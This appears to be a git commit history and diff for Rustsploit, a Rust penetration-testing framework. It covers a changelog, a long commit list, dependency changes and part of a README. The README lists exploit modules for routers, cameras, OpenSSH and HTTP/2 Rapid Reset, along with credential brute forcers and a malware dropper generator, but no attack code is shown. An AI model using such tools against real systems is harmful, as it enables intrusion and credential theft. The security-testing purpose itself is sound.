Interactive configuration (port, SSL, streams, delay)
Legal disclaimer and permission check
Fixes applied:
Fixed http version conflict (0.2 to match h2)
Added bytes dependency
Fixed type inference for handshake calls
Fixed send_request API usage
Fixed send_reset return type handling
Removed unused mut keywords
Consistent TLS configuration
Code quality:
No linter errors
No warnings
Proper error handling
Clean code structure
The module is ready to use. You can run it via:
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>



Updated packages
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
Kept compatible versions for:
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
http = "0.2" (required by h2 0.3)
tokio-rustls = "0.24" (compatible with current setup)
Updated to latest ranges:
reqwest = "0.12" (was 0.12.15)
tokio = "1.44" (was 1.44.2)
clap = "4.5" (was 4.5.35)
rustls = "0.23" (was 0.23.26)
bytes = "1.0" (was 1.0)
And all other packages



Improved http_title_scanner to be more robust and flexible:
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
Removed dead code and ensured no unwrap panics on network paths.


Added input validation and sanitization to the API:
New validation helpers:
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
validate_api_key_format: length and ASCII checks
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
Applied protections:
Middleware now rejects malformed API keys early
run_module validates module and target before dispatch; logs use sanitized values
All log messages are passed through sanitize_for_log to avoid log injection
2025-11-13 09:38:57 +02:00
S.B de0ed82830 Delete src directory 2025-11-13 09:37:40 +02:00
S.B f4a554accf Update build.rs 2025-11-12 20:20:03 +02:00
S.B 2e046a4ced Remove assignment details from extra.txt
Removed specific assignment details for a Rust driver.
2025-11-12 20:18:48 +02:00
S.B fd5a180702 Refactor Cargo.toml to remove duplicates
Removed duplicate package information and cleaned up dependencies.
2025-11-12 20:17:37 +02:00
S.B 80903bfdc4 Update Cargo.toml with new dependencies
Added various dependencies for networking, exploitation, and utilities.
2025-11-12 20:17:17 +02:00
S.B 8df8849401 Update changelog.md 2025-11-12 20:16:17 +02:00
S.B b48de95cca Add files via upload 2025-11-12 20:15:32 +02:00
S.B 75c4a0fd71 Delete src directory 2025-11-12 20:14:10 +02:00
S.B 5975adce78 Merge pull request #19 from s-b-repo/livaetina-refomration
Livaetina refomration
2025-11-12 19:40:09 +02:00
S.B 1246b3f4b7 Revise README with updates and new module details
Updated README to enhance clarity and detail about Rustsploit's features, modules, and usage. Added new modules and improved documentation.
2025-11-12 18:35:05 +02:00
S.B b148f8ba14 Add files via upload 2025-11-12 18:31:45 +02:00
S.B d4dd665efd Add files via upload 2025-11-12 18:21:23 +02:00
S.B a5b6261101 Delete docs directory 2025-11-12 18:21:04 +02:00
S.B 06915cbc35 Add files via upload 2025-11-12 18:19:44 +02:00
S.B b9ace5a109 Delete lists directory 2025-11-12 18:19:20 +02:00
S.B 04f1e67758 Add files via upload 2025-11-12 18:18:49 +02:00
S.B 15a12d57e9 Delete src directory 2025-11-12 18:16:46 +02:00
S.B e49f55eb21 Update README.md 2025-11-09 03:05:57 +02:00
S.B 9865225e99 Bump version to 0.2.0 and update sysinfo
Updated package version and dependencies.
2025-11-09 03:03:04 +02:00
S.B 3b33e40727 Add files via upload 2025-11-09 03:01:14 +02:00
S.B 759f733650 Create test.txt 2025-11-09 03:00:23 +02:00
S.B 5873ba0d5a Delete src directory 2025-11-09 02:59:43 +02:00
S.B 3da254c19b Update README.md 2025-05-26 11:56:33 +02:00
S.B 986384f95c Update README.md 2025-05-26 11:52:51 +02:00
S.B 6e0679a162 Add files via upload 2025-05-26 11:51:44 +02:00
S.B 8855289c45 Delete lat.png 2025-05-26 11:51:01 +02:00
S.B 21c1240d61 Update README.md 2025-05-26 11:49:10 +02:00
S.B 2d0743ab3a Merge pull request #13 from s-b-repo/elons-musk-sniff-sniff
Elons musk sniff sniff
2025-05-26 11:46:14 +02:00
S.B 03fba5f883 Update port_scanner.rs 2025-05-26 11:45:07 +02:00
S.B aea5dc5952 Update narutto_dropper.rs 2025-05-26 11:43:27 +02:00
S.B 10cb64da04 Update mod.rs 2025-05-26 11:25:10 +02:00
S.B 51872dda9c Add files via upload 2025-05-26 11:23:33 +02:00
S.B dfdecaca39 Update Cargo.toml 2025-05-26 10:58:48 +02:00
S.B dcefdf961c Update mod.rs 2025-05-26 10:57:04 +02:00
S.B 8f22dfeb75 Update port_scanner.rs 2025-05-26 10:55:48 +02:00
S.B e6de81c538 Add files via upload 2025-05-26 10:48:59 +02:00
S.B 60e1dd3c6c Update extra.txt 2025-05-22 22:56:38 +02:00
S.B f4fd03923a Update opensshserver_9_8p1race_condition.rs 2025-05-22 22:55:51 +02:00
S.B 0aab4d3265 Update opensshserver_9_8p1race_condition.rs 2025-05-22 21:22:59 +02:00
S.B 31b47015e6 Update extra.txt 2025-05-22 21:21:43 +02:00
S.B 06acd0a837 Update README.md 2025-05-22 15:40:17 +02:00
S.B 6769d5756b Update README.md 2025-05-22 15:39:19 +02:00
S.B 8bf13d0d2c Update README.md 2025-05-22 15:38:25 +02:00
S.B 2baf1c700f Update mod.rs 2025-05-22 15:28:45 +02:00
S.B 6eba62971c Rename doc.md to readme.md 2025-05-22 15:25:36 +02:00
S.B fb52ae5440 Add files via upload 2025-05-22 15:25:03 +02:00
S.B 2a503e4a18 Rename about.txt to readme.md 2025-05-22 15:24:01 +02:00
S.B a859cff7ab Update narutto_dropper.rs 2025-05-22 15:23:10 +02:00
S.B a8f284051b Rename payloadgenbat.rs to narutto_dropper.rs 2025-05-22 15:22:56 +02:00
S.B a22b8cd3fe Update mod.rs 2025-05-22 15:21:52 +02:00
S.B 9ecb846f62 Rename about.md to readme.md 2025-05-22 15:20:39 +02:00
S.B 87558a0ddd Rename about.txt to about.md 2025-05-22 15:20:09 +02:00
S.B 2d49af6a24 Update mod.rs 2025-05-22 14:10:43 +02:00
S.B 220482758d Rename payloadgenbat.rs to narutto_dropper.rs 2025-05-22 14:09:53 +02:00
S.B f1f30511d4 Update smtp_bruteforce.rs 2025-05-22 09:19:08 +02:00
S.B 25401dcbc6 Update port_scanner.rs 2025-05-22 09:12:00 +02:00
S.B 5839e5b346 Update mod.rs 2025-05-21 19:59:30 +02:00
S.B c114f8e1fe Add files via upload 2025-05-21 19:59:01 +02:00
S.B 310d192bc2 Update rdp_bruteforce.rs 2025-05-21 14:34:19 +02:00
S.B 4f878b7d36 Update ssh_bruteforce.rs
added ssh improvement
2025-05-21 14:22:04 +02:00
S.B e03dfff879 Update ftp_bruteforce.rs 2025-05-18 05:33:10 +02:00
S.B 91bfd85323 Update README.md 2025-05-09 22:27:00 +02:00
S.B 2813f21988 Update mod.rs 2025-05-09 22:19:32 +02:00
S.B 08a2af4274 Add files via upload 2025-05-09 22:18:26 +02:00
S.B 3c65160cc3 Update mod.rs 2025-05-09 21:09:27 +02:00
S.B 3dcc51f388 Add files via upload 2025-05-09 21:08:43 +02:00
S.B 394c5eb426 Update Cargo.toml 2025-05-09 15:46:55 +02:00
S.B f8bd0c2fc6 Update mod.rs 2025-05-09 15:35:38 +02:00
S.B 02e3450ea7 Add files via upload 2025-05-09 15:34:37 +02:00
S.B a0e56948d3 Update mod.rs 2025-05-09 11:46:37 +02:00
S.B 2c6e4bfb43 Add files via upload 2025-05-09 11:44:53 +02:00
S.B dd8f28130a Update zte_zxv10_h201l_rce_authenticationbypass.rs 2025-05-09 11:36:43 +02:00
S.B 054be52ba4 Update Cargo.toml 2025-05-08 16:55:56 +02:00
S.B 359ed806ba Add files via upload 2025-05-08 16:53:47 +02:00
S.B 918d83210c Update mod.rs 2025-05-08 16:52:44 +02:00
S.B bf06138630 Add files via upload 2025-05-08 16:52:10 +02:00
S.B 334f24092f Delete src/modules/exploits/router directory 2025-05-08 16:51:24 +02:00
S.B 878bad38eb Update Cargo.toml 2025-05-08 16:02:28 +02:00
S.B b7df70055d Update README.md 2025-05-08 14:55:57 +02:00
S.B b8998d0633 Merge pull request #12 from Giteeajake/main
Update Cargo.toml
2025-05-06 17:14:55 +02:00
Giteeajake 123918d3bf Update Cargo.toml 2025-05-06 10:09:29 +08:00
Giteeajake f445d52c28 Update Cargo.toml 2025-05-06 10:03:56 +08:00
S.B f2bd0ae5a1 Merge pull request #10 from s-b-repo/dev
Dev
2025-05-04 18:03:42 +02:00
S.B 494d6d265d Update Cargo.toml 2025-05-04 17:32:22 +02:00
S.B bb28d1bf30 Update mod.rs 2025-05-04 17:09:45 +02:00
S.B 5a72376a3f Add files via upload 2025-05-04 17:09:03 +02:00
S.B 5cbbbe2343 Update README.md 2025-05-04 17:07:10 +02:00
S.B 96b11ddf0c Update mod.rs 2025-05-04 16:50:00 +02:00
S.B 061176904c Delete src/modules/exploits/camera directory 2025-05-04 16:49:41 +02:00
S.B de9732f7de Add files via upload 2025-05-04 16:49:06 +02:00
S.B bfc094784a Add files via upload 2025-05-04 16:48:33 +02:00
S.B c8eca30789 Add files via upload 2025-05-04 16:48:09 +02:00
S.B eda2802f9b Update README.md 2025-05-04 16:26:59 +02:00
S.B 83161d7f70 Update Cargo.toml 2025-05-04 16:00:35 +02:00
S.B 45a3d49c2f Update cve_2024_7029_avtech_camera.rs 2025-05-04 15:58:57 +02:00
S.B 0b9e470e3d Update mod.rs 2025-05-04 15:44:48 +02:00
S.B bb9ce994b5 Add files via upload 2025-05-04 15:43:50 +02:00
S.B bbbaa69761 Delete src/modules/exploits/payloadgens/gpgenbat.rs 2025-05-04 15:43:13 +02:00
S.B 4625f7d31e Update mod.rs 2025-04-28 07:16:25 +02:00
S.B 900d73ea0b Add files via upload 2025-04-28 07:15:57 +02:00
S.B d1d12cb165 Update mod.rs 2025-04-28 06:47:00 +02:00
S.B 4112a71af2 Add files via upload 2025-04-28 06:46:25 +02:00
S.B 6a3eb5ce44 Update README.md 2025-04-26 01:08:03 +02:00
S.B aa21d50cb9 Merge pull request #8 from s-b-repo/ipv6-patch
Ipv6 patch
2025-04-26 00:37:21 +02:00
S.B 8250c927a4 Update mod.rs 2025-04-26 00:37:04 +02:00
S.B 626aa3f084 Update acti_camera_default.rs 2025-04-26 00:35:15 +02:00
S.B 88427e4bc8 Update extra.txt 2025-04-26 00:33:28 +02:00
S.B 38575855d5 Update Cargo.toml 2025-04-26 00:32:48 +02:00
S.B 5130128663 Update mod.rs 2025-04-26 00:30:26 +02:00
S.B 8aff83df06 Add files via upload 2025-04-26 00:29:58 +02:00
S.B f5f09f3309 Update ftp_bruteforce.rs 2025-04-26 00:29:28 +02:00
S.B e5a70c2def Update acti_camera_default.rs 2025-04-25 23:30:02 +02:00
S.B 2a29276bda Update opensshserver_9_8p1race_condition.rs 2025-04-25 23:25:02 +02:00
S.B d25b58acbf Update port_scanner.rs 2025-04-25 21:39:30 +02:00
S.B 7667872198 Update ssdp_msearch.rs 2025-04-25 21:39:13 +02:00
S.B e85a99ce0e Update tplink_wr740n_dos.rs 2025-04-25 21:29:31 +02:00
S.B d48c946a4b Update tp_link_vn020_dos.rs 2025-04-25 21:23:52 +02:00
S.B 13c23523cc Update batgen.rs 2025-04-25 21:15:05 +02:00
S.B d64ccf34e5 Update mod.rs 2025-04-25 21:13:26 +02:00
S.B 681751e59a Add files via upload 2025-04-25 21:12:42 +02:00
S.B 08e1b55da5 Update mod.rs 2025-04-25 16:23:22 +02:00
S.B 638559356f Create batgen.rs 2025-04-25 16:22:52 +02:00
S.B 6a9b5354b4 Update payloadgenbat.rs 2025-04-25 15:46:44 +02:00
S.B 3b16120d5b Update heartbleed.rs 2025-04-25 15:38:30 +02:00
S.B ee5d3e11c2 Update uniview_nvr_pwd_disclosure.rs 2025-04-25 15:31:14 +02:00
S.B 6f61853c5f Update abussecurity_camera_cve202326609variant2.rs 2025-04-25 15:25:10 +02:00
S.B e04e09eb64 Update abussecurity_camera_cve202326609variant1.rs 2025-04-25 15:18:05 +02:00
S.B 01b3e5e8d2 Update rdp_bruteforce.rs 2025-04-25 15:00:57 +02:00
S.B d531723c4d Update rtsp_bruteforce_advanced.rs 2025-04-25 14:58:08 +02:00
S.B b2ee6300b2 Update ssh_bruteforce.rs 2025-04-25 14:45:13 +02:00
S.B 518c3b2c75 Update telnet_bruteforce.rs 2025-04-25 12:44:56 +02:00
S.B ec963c0a0f Update README.md 2025-04-25 12:13:55 +02:00
S.B faebb28a55 Update ssh_bruteforce.rs 2025-04-25 12:13:03 +02:00
S.B ad2e959fdb Update rtsp_bruteforce_advanced.rs 2025-04-25 11:52:53 +02:00
S.B a71ff971d2 Update mod.rs 2025-04-25 11:27:58 +02:00
S.B b5d7e1314b Add files via upload 2025-04-25 11:27:32 +02:00
S.B c8c5730044 Update README.md 2025-04-25 11:25:19 +02:00
S.B 4be9fffd36 Update README.md 2025-04-24 21:53:19 +02:00
S.B 8be8d814b2 Update README.md 2025-04-24 21:39:03 +02:00
S.B 6e4c2a142e Update ftp_anonymous.rs 2025-04-24 21:37:52 +02:00
S.B 4aeb23a340 Update Cargo.toml 2025-04-24 21:23:14 +02:00
S.B af53756b78 Update ftp_bruteforce.rs 2025-04-24 21:22:22 +02:00
S.B 8e182b2530 Update utils.rs 2025-04-24 21:20:52 +02:00
S.B ffabcfa277 Update mod.rs 2025-04-24 21:20:30 +02:00
S.B 101f201b30 Merge pull request #7 from s-b-repo/devs-uwu
Devs uwu
2025-04-24 16:55:48 +02:00
S.B 903dcd896d Update Cargo.toml 2025-04-24 16:54:52 +02:00
S.B d823a1760a Update README.md 2025-04-24 16:52:54 +02:00
S.B e7c1de9ab6 Update mod.rs 2025-04-24 16:38:46 +02:00
S.B e34fda4904 Add files via upload 2025-04-24 16:35:33 +02:00
S.B 5f8a3fcd4e Update Cargo.toml 2025-04-23 22:54:50 +02:00
S.B 6a3014cb2d Update opensshserver_9_8p1race_condition.rs 2025-04-23 22:53:21 +02:00
S.B 02e8bf4476 Update README.md 2025-04-23 22:46:46 +02:00
S.B ca6f3cf2ff Update README.md 2025-04-23 22:46:23 +02:00
S.B 14b350e1cc Update README.md 2025-04-23 22:45:53 +02:00
S.B b586f03cb6 Update mod.rs 2025-04-23 22:41:40 +02:00
S.B cbe0768fe3 Add files via upload 2025-04-23 22:40:58 +02:00
S.B c6fbdceb41 Update README.md 2025-04-23 21:20:10 +02:00
S.B 0a431b1431 Update mod.rs 2025-04-23 21:14:12 +02:00
S.B d8afcbd257 Add files via upload 2025-04-23 21:13:32 +02:00
S.B 8af374401e Delete src/modules/exploits/router/tp_link_vn020.rs 2025-04-23 21:13:11 +02:00
S.B dea86bd358 Update README.md 2025-04-23 20:31:17 +02:00
S.B d13408d5cc Update Cargo.toml 2025-04-23 20:19:34 +02:00
S.B 2b867f7550 Update mod.rs 2025-04-23 20:17:11 +02:00
S.B 5c5171f8d7 Add files via upload 2025-04-23 20:16:37 +02:00
S.B d1ceae6304 Update mod.rs 2025-04-23 20:15:45 +02:00
S.B 3bd0262554 Add files via upload 2025-04-23 20:15:16 +02:00
S.B fe9e8bb0bd Update extra.txt 2025-04-23 15:55:54 +02:00
S.B 67c5b8651e Update extra.txt 2025-04-23 15:50:50 +02:00
S.B 9c33ecc8c8 Update extra.txt 2025-04-23 15:50:22 +02:00
S.B 4c8e968bb9 Create extra.txt 2025-04-23 15:49:45 +02:00
S.B 5c66d123d8 Update README.md 2025-04-23 14:10:40 +02:00
S.B 0369126960 Update heartbleed.rs 2025-04-23 14:08:32 +02:00
S.B 5b951c7187 Update port_scanner.rs 2025-04-23 14:07:19 +02:00
S.B 127bc9d20a Update README.md 2025-04-23 14:04:25 +02:00
S.B f2b71a4981 Update README.md 2025-04-23 14:03:45 +02:00
S.B 7475c22b65 Update exploit.rs 2025-04-23 14:02:51 +02:00
S.B f41fc58462 Update creds.rs 2025-04-23 14:02:18 +02:00
S.B 891801514b Update scanner.rs 2025-04-23 14:02:03 +02:00
S.B c9d650933a Update mod.rs 2025-04-23 14:01:45 +02:00
S.B 8080cca173 Add files via upload 2025-04-23 14:00:34 +02:00
S.B 431dfb53a3 Update Cargo.toml 2025-04-23 13:59:47 +02:00
S.B c02a58f6e6 Add files via upload 2025-04-23 13:39:23 +02:00
S.B b82685b214 Update README.md 2025-04-23 13:38:14 +02:00
S.B edb23f54b1 Update README.md 2025-04-23 13:37:46 +02:00
S.B b7a0274944 Update doc.md 2025-04-23 13:36:47 +02:00
S.B af71c827c7 Update doc.md 2025-04-23 13:31:58 +02:00
S.B 2d9989e735 Update doc.md 2025-04-23 13:23:57 +02:00
S.B 8920be99ca Merge pull request #5 from s-b-repo/dev-weekly
Update README.md
2025-04-22 16:03:13 +02:00
S.B 075a898fd7 Update README.md 2025-04-22 16:01:15 +02:00
S.B 0e6fb4fa3c Update README.md 2025-04-22 16:00:28 +02:00
S.B e1ac588ee4 Merge pull request #4 from s-b-repo/dev-weekly
Dev weekly
2025-04-22 15:59:15 +02:00
S.B cf4307c2b7 Update README.md 2025-04-22 14:32:25 +02:00
S.B 160090cb21 Update Cargo.toml 2025-04-22 14:27:01 +02:00
S.B f142be2b2e Update exploit.rs 2025-04-22 14:22:53 +02:00
S.B 6464b95054 Update mod.rs 2025-04-22 14:21:22 +02:00
S.B da379c3d39 Add files via upload 2025-04-22 14:20:26 +02:00
S.B fed1fc37d6 Add files via upload 2025-04-22 08:48:22 +02:00
S.B ea08e77109 Update shell.rs 2025-04-22 08:45:48 +02:00
S.B 017e4907c5 Delete Screenshot_20250416_111212.png 2025-04-22 08:43:26 +02:00
S.B 06bc6134a7 Delete Screenshot_20250409_010733.png 2025-04-22 08:43:08 +02:00
S.B f29199e2e1 Update README.md 2025-04-22 08:38:56 +02:00
S.B ef1f44fc23 Update utils.rs 2025-04-22 08:36:09 +02:00
S.B ddabd9dcbc Update shell.rs 2025-04-22 08:35:33 +02:00
S.B 61d0a7ef3c Update Cargo.toml 2025-04-22 07:43:04 +02:00
S.B e6d5a85153 Update exploit.rs 2025-04-21 16:42:01 +02:00
S.B d90f88ab91 Add files via upload 2025-04-21 16:41:08 +02:00
S.B b4a91be121 Create mod.rs 2025-04-21 16:38:32 +02:00
S.B 9694801619 Update scanner.rs 2025-04-21 15:26:27 +02:00
S.B 5313ae76f4 Update mod.rs 2025-04-21 15:25:26 +02:00
S.B bbbab50420 Add files via upload 2025-04-21 15:24:27 +02:00
S.B 66256975ee Update README.md 2025-04-20 21:46:31 +02:00
S.B 87dbf50464 Update README.md 2025-04-20 21:05:04 +02:00
S.B 3b258196f8 Merge pull request #3 from s-b-repo/weakly-dev.2
Weakly dev.2
2025-04-20 20:56:14 +02:00
S.B 2afa06ec1c Add files via upload 2025-04-20 20:53:17 +02:00
S.B 62c1c0b1a2 Delete src directory 2025-04-20 20:52:18 +02:00
S.B d11ee5cbeb Update Cargo.toml 2025-04-20 20:49:41 +02:00
S.B ddc6f57ade Update exploit.rs 2025-04-20 20:44:20 +02:00
S.B 67a87ac70e Add files via upload 2025-04-20 20:43:25 +02:00
S.B 16459fac69 Update mod.rs 2025-04-20 20:43:08 +02:00
S.B ae44fcb90c Rename enum.txt to rtsp-paths.txt 2025-04-16 16:45:36 +02:00
S.B 7f446b00a5 Add files via upload 2025-04-16 16:45:06 +02:00
S.B e40938fbb5 Create about.txt 2025-04-16 16:44:36 +02:00
S.B c841746f3c Update creds.rs 2025-04-16 16:43:13 +02:00
S.B bf06740df6 Update mod.rs 2025-04-16 16:42:17 +02:00
S.B 3be699817f Add files via upload 2025-04-16 16:41:48 +02:00
S.B df998013b1 Update Cargo.toml 2025-04-16 15:16:28 +02:00
S.B b77f60a9c5 Update doc.md 2025-04-16 15:12:38 +02:00
S.B 91d887217d Update cli.rs 2025-04-16 15:10:03 +02:00
S.B c0b9e431f5 Update shell.rs 2025-04-16 15:09:29 +02:00
S.B baf250e636 Update README.md 2025-04-16 13:50:46 +02:00
S.B 084b391737 Update README.md 2025-04-16 13:48:10 +02:00
S.B c13109589f Update README.md 2025-04-16 13:46:26 +02:00
S.B e0bbf7ba23 Update README.md 2025-04-16 13:43:47 +02:00
S.B b41b3c58c0 Update README.md 2025-04-16 11:18:40 +02:00
S.B 2ca6920b3d Update README.md 2025-04-16 11:15:03 +02:00
S.B 79cbecb69c Merge pull request #2 from s-b-repo/weekly-dev
Weekly dev
2025-04-16 11:13:42 +02:00
S.B 837660fccf Add files via upload 2025-04-16 11:12:56 +02:00
S.B 6c3e9a9fee Update creds.rs 2025-04-16 10:53:42 +02:00
S.B d30bc674c5 Update mod.rs 2025-04-16 10:51:56 +02:00
S.B eefd13f15d Add files via upload 2025-04-16 10:50:26 +02:00
S.B e33c9b5511 Delete src/modules/creds/camera directory 2025-04-16 10:48:55 +02:00
S.B 7cd7a21231 Add files via upload 2025-04-16 10:48:32 +02:00
S.B 0621f32f03 Update Cargo.toml 2025-04-15 09:38:01 +02:00
S.B ac38523823 Add files via upload 2025-04-15 09:37:21 +02:00
S.B d074a8157f Delete src directory 2025-04-15 09:36:46 +02:00
S.B d0f4ca17c6 Merge pull request #1 from s-b-repo/rewrite
Rewrite
2025-04-11 01:03:54 +02:00
S.B 62916f46dc Update Cargo.toml 2025-04-11 00:53:03 +02:00
S.B df629fa3e3 Add files via upload 2025-04-11 00:52:34 +02:00
S.B 873c12cbfa Delete src directory 2025-04-11 00:51:33 +02:00
S.B 632cab6a26 Update doc.md 2025-04-10 23:10:48 +02:00
S.B 0ac87b3e49 Update doc.md 2025-04-10 23:10:10 +02:00
S.B c43b1e1ae3 Create doc.md 2025-04-10 23:08:28 +02:00
S.B f876d91986 Update Cargo.toml 2025-04-10 19:05:29 +02:00
S.B 49ada2bb21 Update README.md 2025-04-10 19:02:07 +02:00
S.B 3f87adeb60 Update mod.rs 2025-04-10 19:00:23 +02:00
S.B e216e416ca Update creds.rs 2025-04-10 19:00:00 +02:00
S.B a910b75637 Add files via upload 2025-04-10 18:58:36 +02:00
S.B d9547dbe2e Create ftp_anonymous.rs 2025-04-10 18:20:21 +02:00
S.B 54b1606028 Update creds.rs 2025-04-10 18:18:26 +02:00
S.B 2228c8a19b Update mod.rs 2025-04-10 18:16:26 +02:00
S.B 0d589e9bb6 Update README.md 2025-04-10 06:55:53 +02:00
S.B 1ad4786466 Update README.md 2025-04-10 06:52:29 +02:00
125 changed files with 40639 additions and 508 deletions
-22
View File
@@ -1,22 +0,0 @@
name: Rust
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
env:
CARGO_TERM_COLOR: always
jobs:
build:
runs-on: Kali
steps:
- uses: actions/checkout@v4
- name: Build
run: cargo build --verbose
- name: Run tests
run: cargo test --verbose
+106 -16
View File
@@ -1,26 +1,116 @@
[package]
name = "r_routersploit"
version = "0.1.0"
edition = "2021"
name = "rustsploit"
version = "0.3.5"
edition = "2024"
build = "build.rs"
[[bin]]
name = "rustsploit"
path = "src/main.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json"] }
# Core / General
anyhow = "1.0"
colored = "3.0" # newer than 2.0
rand = "0.9"
rustyline = "15.0"
sysinfo = { version = "0.36", features = ["multithread"] }
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
# CLI & Async runtime
clap = { version = "4.5", features = ["derive"] }
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread"] }
# HTTP & Web
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
h2 = "0.3"
http = "0.2"
bytes = "1.0"
tokio-rustls = "0.24"
url = "2.5"
urlencoding = "2.1"
quick-xml = "0.37"
data-encoding = "2.5"
semver = "1.0"
# Easier error handling
anyhow = "1.0.97"
# Crypto & Encoding
aes = "0.8"
cipher = "0.4"
md5 = "0.7"
sha2 = "0.10"
hex = "0.4"
flate2 = "1.0"
base64 = "0.22"
#teminal color
colored = "3.0.0"
# Networking & Protocols
tokio-socks = "0.5"
socket2 = { version = "0.5", features = ["all"] }
pnet_packet = "0.34"
ipnet = "2.11"
ipnetwork = "0.20"
regex = "1.11" # newest listed
which = "8.0"
#ftp brute force module
async_ftp = "6.0.0"
# FTP
async_ftp = "6.0"
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
native-tls = "0.2"
rustls = "0.23"
webpki-roots = "0.26"
tokio-socks = "0.5.2"
# Telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
# SSH
ssh2 = "0.9"
libc = "0.2"
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
# Walkdir (used by telnet module)
walkdir = "2.5"
# WebSocket (Spotube exploit)
tokio-tungstenite = "0.26"
# Futures
futures = "0.3"
futures-util = "0.3"
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
chrono = { version = "0.4", features = ["serde"] }
# API Server (Axum)
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
uuid = { version = "1.10", features = ["v4"] }
# DNS
hickory-client = { version = "0.24", features = ["dnssec"] }
hickory-proto = "0.24"
# Misc utilities
once_cell = "1.19"
home = "0.5" # updated for edition 2024 compatibility
pnet = "0.34"
[build-dependencies]
regex = "1.11"
# Dependency overrides to address security warnings in transitive dependencies
# Note: These are warnings (not vulnerabilities) in transitive dependencies
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true
+475 -47
View File
@@ -1,75 +1,503 @@
# Rustsploit
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
---
# R-RouterSploit 🛠️
## Table of Contents
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/Screenshot_20250409_010733.png)
1. [Highlights](#highlights)
2. [Module Catalog](#module-catalog)
3. [Quick Start](#quick-start)
4. [Docker Deployment](#docker-deployment)
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
6. [CLI Usage](#cli-usage)
7. [API Server Mode](#api-server-mode)
8. [Proxy Workflow](#proxy-workflow)
9. [How Modules Are Discovered](#how-modules-are-discovered)
10. [Contributing](#contributing)
11. [Credits](#credits)
---
### Goals & To Do lists
## Highlights
convert exploits and add modules
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
- **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
- **Honeypot detection:** Framework-level automatic detection before module execution to warn about potentially deceptive targets
- **Enhanced target handling:** Advanced normalization supporting IPv4, IPv6 (with brackets), hostnames, URLs, CIDR notation, and port extraction
add wordlists and brute forcing modules
---
## Module Catalog
## 🚀 Building & Running
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
